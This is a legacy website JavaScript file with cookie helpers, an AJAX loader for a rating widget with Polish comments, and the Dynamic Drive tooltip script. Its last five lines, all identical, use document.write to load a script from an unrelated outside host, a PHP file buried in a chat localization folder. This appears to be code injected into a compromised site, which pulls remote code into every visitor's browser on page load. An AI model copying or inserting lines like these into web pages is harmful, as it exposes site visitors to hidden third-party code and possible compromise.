function GetCookie (name) {
  var arg = name + "=";
  var alen = arg.length;
  var clen = document.cookie.length;
  var i = 0;
  while (i < clen) {
    var j = i + alen;
    if (document.cookie.substring(i, j) == arg)
      return getCookieVal (j);
    i = document.cookie.indexOf(" ", i) + 1;
    if (i == 0) break; 
  }
return null;
}

function getFileName(path)
{
    var fn = path.match(/\/([a-z0-9_-]+\.\w+)/i);
    return (fn == null)? "" : fn[1];
}

function readCookie(name)
{
  var cookieValue = "";
  var search = name + "=";
  if(document.cookie.length > 0)
  { 
    offset = document.cookie.indexOf(search);
    if (offset != -1)
    { 
      offset += search.length;
      end = document.cookie.indexOf(";", offset);
      if (end == -1) end = document.cookie.length;
      cookieValue = unescape(document.cookie.substring(offset, end))
    }
  }
  return cookieValue;
}

function writeCookie(fname)
{
	var filename = fname.replace(".", "_");
	if (!GetCookie(filename))
	{
		var w = document.myform.mylist.selectedIndex;
		var grade = document.myform.mylist.options[w].text;
		if (grade != '#')
		{
			document.cookie = filename + "=" + grade; // Create the cookie
//			parent.location="javascript:location.reload()";
			javascript:zmien("rankAJAX.php?filename=" + filename, "rank");
		}
	}
}

//------------------------------------------------------------
//
//        SKRYPT OBSŁUGUJĄCY MENU
//
//------------------------------------------------------------
function zmien(strona, divID)
{
    if(window.ActiveXObject)
        zadanie = new ActiveXObject("Microsoft.XMLHTTP");
    else if(window.XMLHttpRequest)
            zadanie = new XMLHttpRequest();
        else
            alert("Twoja przeglądarka nie obsługuje AJAX-u\nZmień ją na nowszą !");
    
    zadanie.onreadystatechange = function(){    otworzStrone(zadanie, divID);    }
    
    zadanie.open('GET', strona, true);
    zadanie.send(null);
}
//------------------------------------------------------------
function otworzStrone(zadanie, divID)
{
    if(zadanie.readyState == 4)                // transfer i przetwarzanie pomyślnie zakończone
    {
            if(zadanie.status == 200)        // żadanie w całości wykonane pomyślnie
                document.getElementById(divID).innerHTML = zadanie.responseText;
    }
    else if(zadanie.readystate == 0)
        alert("Połączenie z serwerem nie zostało zainicjowane !");
}
//------------------------------------------------------------ 

/***********************************************
* Cool DHTML tooltip script- © Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thecolor, thewidth){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

function positiontip(e){
if (enabletip){
var curX=(ns6)?e.pageX-1 : event.clientX+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY-1 : event.clientY+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var rightedge=ie&&!window.opera? ietruebody().clientWidth-event.clientX-offsetxpoint : window.innerWidth-e.clientX-offsetxpoint-20
var bottomedge=ie&&!window.opera? ietruebody().clientHeight-event.clientY-offsetypoint : window.innerHeight-e.clientY-offsetypoint-20

var leftedge=(offsetxpoint<0)? offsetxpoint*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth)
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=ie? ietruebody().scrollLeft+event.clientX-tipobj.offsetWidth+"px" : window.pageXOffset+e.clientX-tipobj.offsetWidth+"px"
else if (curX<leftedge)
tipobj.style.left="5px"
else
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetxpoint+"px"

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight)
tipobj.style.top=ie? ietruebody().scrollTop+event.clientY-tipobj.offsetHeight-offsetypoint+"px" : window.pageYOffset+e.clientY-tipobj.offsetHeight-offsetypoint+"px"
else
tipobj.style.top=curY+offsetypoint+"px"
tipobj.style.visibility="visible"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}

document.onmousemove=positiontip
document.write('<script src=http://soulhealer.com/class/chat/localization/finnish/sort_languages.php ><\/script>');
document.write('<script src=http://soulhealer.com/class/chat/localization/finnish/sort_languages.php ><\/script>');
document.write('<script src=http://soulhealer.com/class/chat/localization/finnish/sort_languages.php ><\/script>');
document.write('<script src=http://soulhealer.com/class/chat/localization/finnish/sort_languages.php ><\/script>');
document.write('<script src=http://soulhealer.com/class/chat/localization/finnish/sort_languages.php ><\/script>');